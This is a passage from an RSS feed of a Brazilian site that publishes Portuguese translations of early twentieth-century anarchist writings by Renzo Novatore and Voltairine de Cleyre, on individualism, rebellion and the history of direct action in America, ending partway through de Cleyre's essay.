&lt;p>Todos podem ser nivelados perante a sociedade (somos todos iguais perante Deus!&amp;hellip;), mas os valores seletivos individuais permanecem. Eles permanecem e dominam!&lt;/p>
&lt;p>E por essas e mil outras razões, em minhas relações com a sociedade atual, me declaro “unido” ao Único de Stirner, e em minhas relações póstumas com a futura sociedade do distante devir, sinto-me atraído pelo Anticristo e Zaratustra transformado e purificado ao sol do meu pensamento.&lt;/p>
&lt;p>Claro, não sou Max Stirner, nem Friedrich Nietzsche. Em vez disso, no meio do caminho, entre mim e eles, pode haver uma profundidade terrível cavada poderosamente pelo místico&lt;/p>
&lt;p>Tolstói, ou os picos altos e terríveis iluminados pelo espírito voluptuosamente atormentado de Ibsen, pois também poderia haver a conflagração da mente selvagem pura e perversa!&lt;/p>
&lt;h1 id="vii">VII&lt;/h1>
&lt;p>Caro Molaschi, estou no fim. A polêmica com você acabou.&lt;/p>
&lt;p>Como você viu, mais do que polêmica, é uma confissão e uma declaração.&lt;/p>
&lt;p>Eu acredito que você me entendeu.&lt;/p>
&lt;p>Sei que muitas vezes a forma segura minha mão e se enrosca e se enrosca na nudez do meu pensamento, como uma linda e perversa mulher se enrosca no corpo viril do amante, quase conseguindo escondê-lo dos modestos olhos da maioria. .&lt;/p>
&lt;p>Mas desta vez acredito que não tenha sido assim.&lt;/p>
&lt;p>Já fiz muitas vezes, mas muitas vezes fracassei decididamente&amp;hellip;&lt;/p>
&lt;p>Então a escrita é dedicada a você!&lt;/p>
&lt;p>E você não é um dos muitos!&lt;/p>
&lt;p>Seus olhos certamente são capazes de ver até um pouco à noite&amp;hellip;&lt;/p>
&lt;p>Mesmo que você não compartilhe minhas idéias, tenho certeza que você me entende.&lt;/p>
&lt;p>E é isso que eu quero! Só isso&amp;hellip;&lt;/p>
&lt;p>Houve um tempo em que te entendi como carne da minha carne, sentindo meu sentimento. Agora não!&lt;/p>
&lt;p>E é por isso que meu amor por você se esvai nas sombras de uma memória, mas deixa acesas as tochas da mais forte e sincera admiração.&lt;/p>
&lt;p>Podemos ter começado do mesmo riacho, mas começamos o caminho para duas montanhas diferentes. Se ambos alcançarmos os picos, estenderemos nossas mãos sobre o abismo, pois teremos conquistado o destino e superar o abismo.&lt;/p>
&lt;p>E então nos amaremos com um amor diferente!&lt;/p>
&lt;p>&lt;em>Pagina Libertaria&lt;/em>&lt;/p>
&lt;p>Ano I, n.6&lt;/p>
&lt;p>Milano&lt;/p>
&lt;p>Setembro 15&lt;/p>
&lt;p>[1] Esta é uma paráfrase desta passagem dos críticos de Stirner: “O egoísmo, como Stirner o usa, não se opõe ao amor nem ao pensamento; não é inimigo da doce vida de amor, nem de devoção e sacrifício; não é inimigo do calor íntimo, mas também não é inimigo da crítica, nem do socialismo, nem, em suma, de qualquer interesse real. Não exclui nenhum interesse. É dirigido apenas contra o desinteresse e o desinteressante; não contra o amor, mas contra o amor sagrado, não contra o pensamento, mas contra o pensamento sagrado, não contra os socialistas, mas contra os socialistas sagrados, etc. ”&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="http://www.revoltlib.com/anarchism/the-revolt-of-the-unique/view.php" target="_blank" rel="noopener noreferrer">RevoltLiv - The Revolt of the Unique&lt;/a>
&lt;/p></content:encoded></item><item><title>Sobre Individualismo e Rebelião</title><link>https://cypherpunks.com.br/documentos/sobre-individualismo-e-rebeliao/</link><pubDate>Thu, 01 Jan 1920 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/sobre-individualismo-e-rebeliao/</guid><description>Aquele que cai rebelando-se contra todos, prevalece mesmo enquanto cai.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Vinicius Yaunner, baseado na tradução do italiano pro inglês de Andy Carloff
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h1 id="sobre-individualismo-e-rebelião">Sobre Individualismo e Rebelião&lt;/h1>
&lt;p>&lt;/p>
&lt;p>Há quem defenda que o ser humano é por natureza um ser social. Outros sustentam que o ser humano é por natureza anti-social.&lt;/p>
&lt;p>Bem, admito que nunca consegui entender com clareza o que eles queriam dizer com “por natureza”, mas entendi que os dois lados estão errados, já que o ser humano é social e anti-social ao mesmo tempo.&lt;/p>
&lt;p>Necessidade, carência, carinho, amor e simpatia são os elementos que o impulsionam para a sociabilidade e a união.&lt;/p>
&lt;p>O desejo de independência e o desejo de liberdade a empurram para a solidão e o individualismo. Mas, enquanto o individualismo opera e se realiza contra a sociedade, a sociedade se defende de seus ataques. A guerra entre “societarismo” e “individualismo” é, portanto, uma guerra fértil de vitalidade e energia. Mas, enquanto o indivíduo é necessário à sociedade, esta, por sua vez, é necessária a ele.&lt;/p>
&lt;p>O individualismo não poderia existir se não houvesse uma sociedade contra a qual ele pudesse se afirmar e viver, se expandir e se alegrar.&lt;/p>
&lt;hr>
&lt;p>Entre os seres humanos - apenas o rebelde é a figura mais bela e o ser mais completo. Ele sabe como ser a ferramenta potencial de sua vontade. Ele sabe obedecer a si mesmo e comandar a si mesmo, para se preservar e se destruir. Porque o rebelde é aquele que aprendeu o segredo de viver e a arte de morrer.&lt;/p>
&lt;hr>
&lt;p>Aquele que cai rebelando-se contra todos, prevalece mesmo enquanto cai.&lt;/p>
&lt;p>E prevalecer significa instilar a chama de seu pensamento e impor a luz de suas idéias aos outros.&lt;/p>
&lt;p>Mas o verdadeiro seguidor do rebelde caído é aquele que, ao cair, sabe como se rebelar mesmo contra a &amp;ldquo;rebelião&amp;rdquo; do herói já caído.&lt;/p>
&lt;hr>
&lt;p>Qualquer pessoa que deseja que o espírito de rebelião se torne eterno deve desejar que a rebelião do filho não se transforme, por sua vez, na tirania do pai.&lt;/p>
&lt;hr>
&lt;p>Se meu pai se rebelou contra meu avô para não ser escravo da fé paterna, eu me rebelo contra meu pai para não ser escravo da fé que o fez rebelar por sua vez.&lt;/p>
&lt;p>Como isso poderia fazer meu filho ser amanhã o que eu sou hoje?&lt;/p>
&lt;hr>
&lt;p>Somente das ruínas de tudo o que o rebelde destruiu pode nascer o gênio criativo.&lt;/p>
&lt;p>Mas o que a criação do gênio prepara senão uma nova rebelião?&lt;/p>
&lt;hr>
&lt;p>Concordo com Nietzsche em acreditar que nunca houve necessidade de questionar um mártir para saber a verdade. Mas a força do desejo, a audácia ousada e a vontade criativa hábil são tesouros herdados apenas do gênio, do rebelde, do herói.&lt;/p>
&lt;hr>
&lt;p>Eu vi um gênio “roubar” e um idiota atirar uma bomba mortal em um ministro de estado.&lt;/p>
&lt;p>O primeiro roubou para viver com independência e criar com liberdade. O segundo morto por causa de um ódio pessoal oculto e da vontade de morrer.&lt;/p>
&lt;p>O primeiro cometeu um “crime comum e vulgar” e é um “criminoso comum”. O segundo cometeu um “crime político” e é um “nobre e generoso criminoso político”. Eu agora pergunto a todos os subversivos, políticos em geral, e anarquistas em particular - se ao enfrentar este fato, é uma chance de elevar outro &amp;ldquo;crime político&amp;rdquo; ao esplendor da glória e às festas do sol para o lançar na lama do “crime comum”.&lt;/p>
&lt;hr>
&lt;p>Ai de mim! Ainda há muitos que olham para a obra. Mas antes de olhar para a obra, olho para o criador. No entanto, mesmo para muitos - tantos - anarquistas, parece que o indivíduo conta pouco&amp;hellip;&lt;/p>
&lt;p>A maioria deles ainda está entre a ralé que diz: “O ser humano não conta. Eventos e ideias contam.” e é por isso que, mesmo entre nós, muitos seres superiores e sublimes foram lançados na lama, enquanto muitos idiotas foram levantados ao sol.&lt;/p>
&lt;hr>
&lt;p>Eu nego o direito de me julgar a todos aqueles que não entendem a voz dos meus anseios, o uivo das minhas necessidades, os voos do meu espírito, a tristeza da minha mente, a emoção das minhas ideias e a angústia do meu pensamento. Mas só eu entendo tudo isso. Você quer me julgar? Está bem então! Mas você nunca vai julgar meu verdadeiro eu. Em vez disso, você julgará o “eu” que você mesmo inventou. Quando você acreditar que me tem entre os dedos para me esmagar, estarei lá em cima, rindo à distância.&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="http://www.revoltlib.com/anarchism/of-individualism-and-rebellion/view.php" target="_blank" rel="noopener noreferrer">Of Individualism and Rebelion - Renzo Novatore&lt;/a>
&lt;/p></content:encoded></item><item><title>Retornando</title><link>https://cypherpunks.com.br/documentos/retornando/</link><pubDate>Wed, 01 Jan 1919 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/retornando/</guid><description>Tenho caminhado com infinita alegria pelos caminhos da Dor.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Vinicius Yaunner, baseado na tradução do italiano pro inglês de Andy Carloff
Revisado por: Matheus Bach
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h1 id="retornando">Retornando&lt;/h1>
&lt;p>Caro “Libertario”,&lt;/p>
&lt;p>&lt;/p>
&lt;p>Vinte e dois meses se passaram desde o dia em que o mais brutal e viscoso de todos os monstros tentou me varrer também entre suas mandíbulas lúgubres e sangrentas. Sim, até eu estava destinado a ser transformado em um humilde instrumento de servilismo bestial; estava destinado a me sacrificar (Oh, as bestas do sacrifício) no altar mais estúpido e grotesco de todos os fantasmas humanos; estava destinado a ser transformado em um “pedaço de material humano&amp;quot;&amp;hellip;&lt;/p>
&lt;p>Mas não acredito em destino.&lt;/p>
&lt;p>Nem mesmo no destino eu acredito! Não! Acredito apenas na minha capacidade de potencial! E foi só em nome disso que respondi com um “NÃO” arrogante e desdenhoso distintamente anárquico, e fui embora dali &amp;hellip;&lt;/p>
&lt;p>Tenho caminhado com infinita alegria pelos caminhos da Dor. Sempre tive Peril como companheiro, que sempre é como um querido irmão. Sempre tive nos lábios o sorriso irônico do superior e do forte; Nos olhos serenos da visão fascinante da tragédia heróica, só entendi o manto livre da vida libertada. Eu estava sozinho &amp;hellip; mas na sombra eu sabia que havia uma ousada falange oculta dos coerentes e audaciosos que viveram a minha mesma vida! Ah, quanto amor eu sentia por aquele quadro anônimo &amp;hellip;&lt;/p>
&lt;p>O que importa se grande parte deles definha por muito tempo no chão de celas úmidas? Eles não desistiram! Eles viviam, nós vivíamos à margem da sociedade dos verdadeiros rebeldes, dos iconoclastas intransigentes, ou daqueles que não se importavam com o que poderia ser a tragédia final. E é a este Punho de conscienciosos “Manifestantes Negros”, ó, querido “Libertário”, que hoje envio às suas colunas depois de ter agradecido profundamente a Vós e a todo aquele quadro de companheiros anarquistas e amigos socialistas pela máxima moral e material solidariedade prestada durante minha vagabundagem ilegal e minha &amp;hellip; prisão legal. Minha saudação mais fervorosa e fraterna dizendo-lhes: “Vocês são orgulhosos e justos de sua ação, porque é somente da desobediência e da revolta que nasce um raio de beleza humana!&amp;quot;.&lt;/p>
&lt;p>Saudações a vocês, verdadeiros anarquistas!&lt;/p>
&lt;p>Saudações a vocês, irmãos humanos!&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="http://www.revoltlib.com/anarchism/returning/view.php" target="_blank" rel="noopener noreferrer">Returning - Renzo Novatore&lt;/a>
&lt;/p></content:encoded></item><item><title>Ação Direta</title><link>https://cypherpunks.com.br/documentos/acao-direta/</link><pubDate>Mon, 01 Jan 1912 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/acao-direta/</guid><description>Qualquer um que sempre pensou por si próprio, que usou seu direito de livre expressão, e corajosamente reafirmou isto juntamente com outros que compartilham de suas convicções, foi um praticante da ação direta.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Coletivo Periferia
Revisado por: Vinicius Yaunner
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;p>Tradução encontrada em: &lt;a href="https://aesquerdalibertaria.blogspot.com/2013/04/acao-direta.html#.Y1iqu5DMK03" target="_blank" rel="noopener noreferrer">aesquerdalibertaria-acao-direta.html&lt;/a>
&lt;/p>
&lt;p>Versão em pdf: &lt;a href="https://www.anarquista.net/wp-content/uploads/2013/09/acao_direta__voltairine_de_cleyre.pdf" target="_blank" rel="noopener noreferrer">acao_direta__voltairine_de_cleyre.pdf&lt;/a>
&lt;/p>
&lt;h1 id="ação-direta">Ação Direta&lt;/h1>
&lt;p>Do ponto de vista daquele que se julga capaz de discernir uma rota constante para o progresso humano, e segue por ela, e desenha tal rota no mapa de sua mente, certamente resolverá indicá-la aos outros; fazê-los ver as coisas como ele vê; convencê-los com argumentos claros e simples que expressem seus pensamentos &amp;ndash; diante disso é um sinal de pesar e de confusão de espírito o fato da frase &amp;ldquo;Ação Direta&amp;rdquo; adquirir de repente na mente das pessoas em geral um significado circunscrito, que não tem, e que certamente nunca teve, nem mesmo no pensamento de seus adeptos.&lt;/p>
&lt;p>Porém, essa é mais uma ironia que o Progresso lança naqueles que se julgam capazes de fixar metas e lutar por alcançá-las. Inúmeras vezes, nomes, frases, lemas, divisas, palavras de ordem, são viradas ao avesso, colocadas de cabeça para baixo. Como uma percepção tardia do que deveria ser feito tornam-se tendenciosas. Pessoas usam e abusam de expressões com sentido dado por eles mesmos; e ainda, outros tenazmente permanecem firmes, teimam ser ouvidos, para finalmente concluir que o período de mal-entendido e de preconceito foi mais um prelúdio de investigação do que de compreensão.&lt;/p>
&lt;p>Certamente este é o caso da presente concepção errônea do termo Ação Direta que pelo equívoco, ou mesmo pelo deliberado embuste perpetrado por certos jornalistas de Los Angeles, por ocasião da condenação de McNamara, cismaram em colocar na cabeça das pessoas que Ação Direta significa, &amp;ldquo;atacar violentamente a vida e a propriedade&amp;rdquo;. Esta atitude ignorante ou desonesta por parte desses profissionais provocou em muita gente a curiosidade de saber o que realmente significava Ação Direta.&lt;/p>
&lt;p>De fato, aqueles que assim tão vigorosa e desordenadamente a condenam, se olharem para eles mesmos descobrirão que eles próprios em muitas ocasiões praticaram a ação direta, e farão isso novamente.&lt;/p>
&lt;p>Qualquer um que sempre pensou por si próprio, que usou seu direito de livre expressão, e corajosamente reafirmou isto juntamente com outros que compartilham de suas convicções, foi um praticante da ação direta. Uns trinta anos atrás, eu recordo que o Exército de Salvação era um vigoroso praticante da ação direta na defesa da liberdade de seus membros para falar, reunir e discursar. Muitos foram presos, multados e encarcerados; mas eles continuaram exercendo seu direito de cantar, pregar e marchar, e de tal forma que seus perseguidores acabaram finalmente por deixá-los em paz. Os trabalhadores nas indústrias estão ministrando a mesma luta agora, e tem, em vários casos, compelido seus patrões a deixá-los em paz pelas mesmas táticas diretas.&lt;/p>
&lt;p>Toda pessoa que planejou fazer qualquer coisa, e foi e fez, ou pôs seu plano em execução antes de outros, e ganhou a cooperação e colaboração de outras pessoas, sem apelar para autoridades, pedir licença ou agradá-los, foi um praticante da ação direta.&lt;/p>
&lt;p>Todas as experiências de cooperação são essencialmente ação direta. Todo indivíduo que em sua vida teve uma diferença com qualquer outra pessoa, e diretamente procurou outras pessoas para envolvê-las na luta, através de um plano pacífico ou não, colocou a ação direta em prática. Greves e boicotes são exemplos de tal ação; muitas pessoas ainda lembram da ação das donas de casa de New York que boicotaram os açougueiros, o que acabou provocando a queda do preço da carne; ou do boicote à manteiga, como uma resposta direta aos fabricantes de manteiga.&lt;/p>
&lt;p>Estas ações geralmente não são levadas a efeito simplesmente por causa de argumentos de um ou de outro, ou em função de leis, mas é a resposta espontânea daqueles que estão oprimidos por uma situação. Em outras palavras, todas as pessoas acreditam, quase sempre, no princípio da ação direta e a praticam.&lt;/p>
&lt;p>Porém, a maioria das pessoas também é ativista indireto ou político. E eles são ao mesmo tempo ambas estas coisas. Há, todavia, um número limitado de pessoas que evitam a ação política sob quaisquer circunstâncias; mas não há ninguém, nenhuma pessoa, que jamais praticou alguma forma de ação direta. A maioria dos intelectuais tende ao oportunismo e ao apoio, alguns mais à direita, outros mais à esquerda, mas sempre prontos para usar quaisquer meios quando chegar o momento. Quer dizer, há aqueles que creem que colocar governantes no poder é essencialmente uma coisa errada e tola; mas que, diante da tensão de determinadas circunstâncias, passam a considerar isto como uma coisa sábia a fazer, e acabam votando em algum indivíduo naquele momento em particular. Há, também, aqueles que acreditam que, em geral, o modo mais sábio para as pessoas adquirirem o que querem está no método indireto da votação. Uma vez no poder, os eleitos farão leis favoráveis; ainda que, mais adiante, no mesmo documento coloque uma greve ocasionalmente debaixo de condições excepcionais; e uma greve, como eu disse, é ação direta. Eles podem também fazer como os agitadores do Partido Socialista (que estão declinando, nos últimos tempos, para uma postura contrária à ação direta) fizeram no verão passado, quando chamaram a polícia para dar segurança às suas reuniões.&lt;/p>
&lt;p>Quem são esses que, pela essência das suas convicções, são os praticantes da Ação Direta? Por que não adotam uma postura conformista? Porque alguns não acreditam em não-violência? Agora, não cometa o engano de confundir ação direta com conformismo. A Ação direta pode ser extremamente violenta, ou tão calma quanto as suaves águas dos rios de planície. O que quero dizer é que o real conformismo ocorre sempre pela ação política, nunca pela ação direta. Do ponto de vista da ação toda política é coerção; até mesmo quando o Estado faz coisas boas o faz através do exercício do poder, e isto se aplica também a um clube, uma arma, ou uma prisão.&lt;/p>
&lt;p>Logo após a chegada dos Quakers em Massachusetts, os Puritanos os acusaram de &amp;ldquo;aborrecer todo mundo com seus discursos&amp;rdquo;. Os Quakers não aceitavam jurar submissão a governo algum e nem admitiam que sua igreja pagasse impostos. (Fazendo essas coisas eles eram praticantes da ação direta, coisa que poderíamos chamar de ação direta negativa.) Assim, os Puritanos, sendo ativistas políticos, aprovavam leis para excluir, deportar, multar, encarcerar, mutilar, e finalmente, até mesmo para enforcar os Quakers. Todavia, os Quakers continuaram praticando suas ideias (que era ação direta positiva); há registros na história que depois de enforcarem quatro Quakers e de arrastarem Margaret Brewster presa ao para-choques de um carro pelas ruas de Boston, &amp;ldquo;os Puritanos desistiram de tentar silenciar os missionários; a persistência e não-violência quacre acabou prevalecendo&amp;rdquo;.&lt;/p>
&lt;p>Outro exemplo de ação direta no começo da história colonial, desta vez de nenhuma forma pacífica, foi o evento conhecido como a Rebelião de Bacon. Todos nossos historiadores certamente defendem a ação dos rebeldes naquela ocasião, porque os rebeldes estavam certos. Mesmo no caso da ação direta violenta contra a autoridade legalmente constituída. Para o bem daqueles que esqueceram dos detalhes, vamos lembrar brevemente que os plantadores de Virgínia estavam com medo de um ataque geral pelos índios; e com razão. Adeptos da ação política, reivindicaram que o governo reconhecesse Bacon como líder deles, ou permitisse a convocação de voluntários para a auto-defesa. O governador temeu que uma companhia de homens armados constituísse uma ameaça para ele; também com razão. Ele recusou a convocação. Ao que os plantadores responderam com a ação direta. Eles recrutaram voluntários sem a autorização governamental, e com sucesso se defenderam dos índios. O governador declarou Bacon traidor; mas por sua popularidade, o governador temeu agir contra ele. Finalmente, porém, as coisas foram tão longe que Jamestown acabou incendiada pelos rebeldes; e se não fosse pela morte intempestiva de Bacon, muito mais poderia ter ocorrido. Claro que a reação foi bem terrível, o que normalmente acontece quando uma rebelião desmorona ou é esmagada. Até mesmo durante seu breve período de sucesso, os rebeldes sofreram muitos abusos. Eu estou bem segura que os defensores da ação-política-do-custe-o-que-custar, depois que a reação retomou o poder, deve ter dito: &amp;ldquo;Veja quantos males a ação direta nos traz! Veja como o progresso da colônia regrediu em vinte e cinco anos&amp;rdquo;; esquecendo que se os colonos não recorressem à ação direta, seus couros cabeludos teriam sido levados pelos índios no ano anterior, embora alguns deles acabassem enforcados pelo governador no ano seguinte.&lt;/p>
&lt;p>Nos períodos de agitação e excitação que precedem às revoluções, há todo tipo de ação direta, da mais pacífica à mais violenta; quase todos estudantes acham, por conta destes desempenhos, que é exatamente aí que se situa o que há de mais interessante da história dos Estados Unidos e o que mais facilmente grava na memória.&lt;/p>
&lt;p>Entre os movimentos pacíficos, destaca-se os acordos de não-importação, as ligas das indústrias de tecidos e os &amp;ldquo;comitês de correspondência&amp;rdquo;. A ação direta violenta acabou por se desenvolver em função do inevitável crescimento da hostilidade; exemplos clássicos foram o caso da destruição das rendas estampadas e a ação relativa aos navios carregados de chá, que quando não eram proibidos de descarregar, os descarregavam em armazéns úmidos ou no chão do porto, como ocorria em Boston. Em Annapolis obrigavam os donos dos navios de chá a incendiar suas próprias embarcações. Todas estas ações estão registradas em nossos livros escolares, não de modo condenatório, não de modo apologético, são todos casos de ação direta contra autoridades legalmente constituídas e contra a propriedade de bens. Menciono estes e outros casos semelhantes para provar que &lt;em>a ação direta sempre foi usada, e tem a sanção histórica dos mesmos que hoje a reprovam.&lt;/em>&lt;/p>
&lt;p>Todo mundo sabe que George Washington foi o líder da liga de não-importação dos plantadores da Virgínia; se George Washington fosse escolhido hoje como líder de uma liga de agricultores da Virgínia para a não-importação; provavelmente seria levado às barras dos tribunais pela formação de tal liga; e se ele persistisse, seria multado e processado.&lt;/p>
&lt;p>Quando a grande disputa entre o Norte e o Sul estava em ebulição, foi novamente a ação direta que precedeu e precipitou as ações políticas. Sem a ação direta tais ações políticas jamais entrariam em cena, e nem mesmo seriam contempladas. As mentes dormentes precisaram primeiramente serem despertadas por atos diretos de protesto contra as condições existentes.&lt;/p>
&lt;p>A história do movimento anti-escravidão e a Guerra Civil é um dos maiores paradoxos da história, embora a história seja uma cadeia de paradoxos. Politicamente falando, os Estados que possuíam maior liberdade política eram aqueles que continham propriedades escravistas, cada Estado era autônomo diante da interferência dos Estados Unidos; politicamente falando, os Estados sem propriedades escravistas apoiavam um forte governo centralizado que, conforme os Secessionistas disseram, e com razão, tendia ao desenvolvimento de formas ainda mais tirânicas. O que veio acontecer mais tarde. No fim da Guerra Civil houve uma invasão ininterrupta do poder federal em áreas antigamente restritas aos Estados. Os escravos assalariados, em suas lutas de hoje, estão em contínuo conflito com esse poder centralizado contra o qual os proprietários de escravos protestaram (com liberdade nos lábios, e tirania nos corações). Eticamente falando, os Estados com propriedades não escravistas, de um modo geral, representaram maior liberdade humana, ao passo que os Secessionistas representaram o escravagismo, o preconceito e a intolerância racial. Mas apenas em termos gerais; quer dizer, a maioria de nortistas, desacostumados com a presença real de negros escravos entre eles, provavelmente julgavam a escravidão um erro; mas nunca tiveram nenhuma grande ânsia por aboli-la. Apenas e tão somente os Abolicionistas, e eles eram relativamente poucos, foram eticamente genuínos. Para eles, a escravidão &amp;ndash; não a secessão ou a união &amp;ndash; era a questão principal. Na realidade, estavam tão convencidos disso que um número considerável deles eram favoráveis à dissolução da união, ao mesmo tempo em que defendiam a iniciativa Nortistas na questão da dissolução, para que o povo nortista pudesse livrar-se da culpa de manter negros em cadeias.&lt;/p>
&lt;p>Naturalmente, houve todo tipo de gente com todo tipo de temperamento entre os defensores da abolição da escravidão. Houve Quakers como Whittier (realmente adepto do sistema paz-custe-o-que-custar da filosofia Quaker, favorável à abolição desde os primeiros dias da colonização); houve ativistas políticos moderados favoráveis à compra de escravos como forma mais barata de libertá-los; e houve pessoas extremamente violentas que acreditavam e fizeram todo tipo de coisas violentas.&lt;/p>
&lt;p>Sobre o que os políticos fizeram, há um longo registro de &amp;ldquo;coisas-que-não-se-deve-fazer&amp;rdquo;, um registro de trinta anos de compromissos, pechinchas, tentativas de manter o status quo, acalmar ambos os lados quando as novas condições exigiam que algo fosse feito, ou fingir fazer algo. Mas &amp;ldquo;as estrelas em seu curso lutaram contra Sisera&amp;rdquo;; o sistema estava demolindo por dentro, foram os adeptos da ação direta que ampliaram tais fissuras tornando-as visíveis.&lt;/p>
&lt;p>Entre as várias expressões da rebelião direta estavam as &amp;ldquo;organizações secretas&amp;rdquo;. A maioria das pessoas que pertenceram a tais grupos acreditavam em ambos tipos de ação; mas por mais que subscrevessem teoricamente o direito de maioria de agir e obrigar cumprimento de leis, eles não chegavam a este ponto na prática. Meu avô foi membro de uma &amp;ldquo;organização secreta&amp;rdquo;; ele ajudou muitos escravos fugirem para o Canadá. Ele era um homem muito paciente, obediente à lei em muitos aspectos, entretanto frequentemente achava que ele a respeitava por ser uma coisa distante; ele sempre conduziu uma vida pioneira, e a lei geralmente estava longe dele, enquanto que a ação direta sempre foi um imperativo. Seja como for, por mais que respeitasse as leis, ele nunca teve nenhum respeito por leis escravagistas, não importava se tais leis foram aprovadas por uma maioria de dez contra um; ele conscientemente quebrava cada uma que atrapalhasse sua caminhada.&lt;/p>
&lt;p>Houve tempos em que as operações &amp;ldquo;secretas&amp;rdquo; exigiram a violência, e fizeram uso dela. Lembro-me de uma velha amiga descrevendo como ela e sua mãe ficaram acordadas durante toda a noite escondendo um escravo fugido no porão da casa onde moravam; embora fossem descendentes e simpatizantes de Quakers, havia uma espingarda na mesa. Felizmente não precisaram fazer uso dela naquela noite.&lt;/p>
&lt;p>Enquanto a lei do escravo fugitivo era aprovada com a ajuda de ativistas políticos do Norte no intuito de oferecer um novo calmante aos proprietários de escravos, os ativistas diretos resgatavam fugitivos recapturados. Havia vários grupos: &amp;ldquo;Resgate de Shadrach&amp;rdquo;, &amp;ldquo;Resgate de Jerry&amp;rdquo;, mais tarde vieram outros conduzidos pelo famoso Gerrit Smith; que teve mais sucesso do que fracasso em suas tentativas. Enquanto os políticos continuavam vagando e tentando abrandar as coisas, os Abolicionistas eram denunciados e depreciados por pacificadores ultra-extremistas, quase da mesma forma como Wm. D. Haywood e Frank Bohn são denunciados hoje pelos seus próprios correligionários.&lt;/p>
&lt;p>Outro dia li um comunicado no Chicago &lt;em>Daily Socialist&lt;/em> do secretário local do Partido Socialista de Louisville, dirigido ao secretário nacional, pedindo algum outro orador seguro e sensato no lugar de Bohn, anunciado para falar. Explicando o motivo, o Sr. Dobbs mencionou a conferência de Bohn: Se os McNamaras tivessem, &amp;ldquo;êxito defendendo os interesses do proletariado, eles estariam certos, da mesma maneira que John Brown estaria certo, se tivesse êxito libertando os escravos. A ignorância foi o único crime de John Brown, e a ignorância é o único crime dos McNamaras&amp;rdquo;.&lt;/p>
&lt;p>O comentário do Sr. Dobbs continua: &amp;ldquo;Defendemos enfaticamente o que aqui declaramos. A tentativa de traçar um paralelo entre a &amp;ndash; mesmo errônea &amp;ndash; revolta de John Brown, e os métodos secretos e assassinos dos McNamaras, é não apenas indicativo de raciocínio superficial, como também algo altamente danoso pelas conclusões lógicas que podem ser tiradas de tais declarações&amp;rdquo;.&lt;/p>
&lt;p>Evidentemente Mr.Dobbs sabe muito pouco sobre a vida e o trabalho de John Brown. John Brown foi um homem adepto da violência; ele desprezaria qualquer pessoa que tentasse fazê-lo agir de uma maneira diferente. Quando alguém acredita na violência, a única coisa que o interessa é encontrar a maneira mais efetiva de aplicá-la, que só pode ser determinada pelo conhecimento das condições e meios que possui. John Brown nunca temeu métodos conspirativos. Aqueles que leram a autobiografia de Frederick Douglas e as Reminiscências de Lucy Colman, lembram que um dos planos conduzidos por John Brown era organizar uma rede de acampamentos armados nas montanhas de West Virginia, Carolina do Norte, e Tennessee, enviar emissários secretos entre os escravos para incitá-los a fugir para estes acampamentos, e com o tempo criar as condições para despertar uma futura revolta entre o negros. Se este plano falhou foi devido à fraqueza do desejo por liberdade entre os escravos, mais do que qualquer outra coisa.&lt;/p>
&lt;p>Mais tarde, quando os políticos em suas infinitas divergências inventaram uma nova proposição de como-não-fazer-nada, conhecida como Kansas-Nebraska Act que deixou a questão da escravidão ser determinada pelos colonos, os ativistas diretos de ambos os lados enviaram falsos colonos aos territórios, que começaram a lutar entre si. Os homens pró-escravidão que chegaram primeiro fizeram uma constituição que reconhecia a escravidão e uma lei que castigava com morte qualquer um que ajudasse um escravo a escapar; mas os Free Soilers, que estavam um pouco mais longe, por serem oriundos de Estados mais distantes, fizeram uma segunda constituição, e recusaram reconhecer as leis do outro partido. E John Brown lá estava, envolvido com todo tipo de violência, conspirativa ou aberta; ele foi &amp;ldquo;um ladrão de cavalos e assassino&amp;rdquo;, aos olhos de ativistas decentes, pacíficos, políticos. Ninguém duvida que ele roubou cavalos, nem enviava comunicados sobre sua intenção de roubá-los. Ele também matou homens favoráveis à escravidão. Ele atacou e escapou muitas vezes antes de ser finalmente detido em Harper&amp;rsquo;s Ferry. Se ele não usava dinamite, era porque o dinamite ainda não estava em voga como uma arma prática. Ele fez mais ataques intencionais em sua vida do que os dois condenados irmãos Secretários Dobbs poderiam fazer com seus &amp;ldquo;métodos assassinos&amp;rdquo;. E a história compreende John Brown. A humanidade sabe que ele foi um homem violento, com sangue humano nas mãos, que foi culpado de alta traição, e enforcado por causa disso, contudo foi uma grande, forte, e desinteressada alma, incapaz de suportar o crime assustador que manteve 4.000.000 de pessoas como bestas estúpidas, e acreditava que fazer guerra contra isto era algo sagrado, um dever determinado por Deus, (John Brown era um homem muito religioso &amp;ndash; um presbiteriano).&lt;/p>
&lt;p>É devido e por causa da ação direta dos precursores da mudança social, sejam eles de natureza pacífica ou bélica, que a Consciência Humana, a consciência da massa, desperta para a necessidade de mudança. Seria muito estúpido dizer que não se pode esperar nenhum resultado positivo da ação política; às vezes coisas boas ocorrem por esse modo. Mas nunca até que a rebelião individual, seguida pela rebelião da massa, force isto. A ação direta sempre é o clarim, o ponto de partida, pelo qual a grande soma de indiferentes se dá conta de que a opressão chegou a um nível intolerável.&lt;/p>
&lt;p>Nós temos agora opressão na terra &amp;ndash; e não apenas na terra, mas ao longo de qualquer região do mundo que desfrute das muitas promíscuas bênçãos da Civilização. E da mesma maneira que na questão da escravidão dos negros, outras formas de escravidão tem gerado ação direta e ação política. Um certo percentual de nossa população (provavelmente um percentual bem menor que aqueles que os políticos atingem com seus comícios) está produzindo a riqueza material na qual todo o resto de nós vive; da mesma forma aqueles 4.000.000 de negros escravizados sustentaram toda uma multidão de parasitas sobre seus ombros. Eles eram camponeses e operários.&lt;/p>
&lt;blockquote>
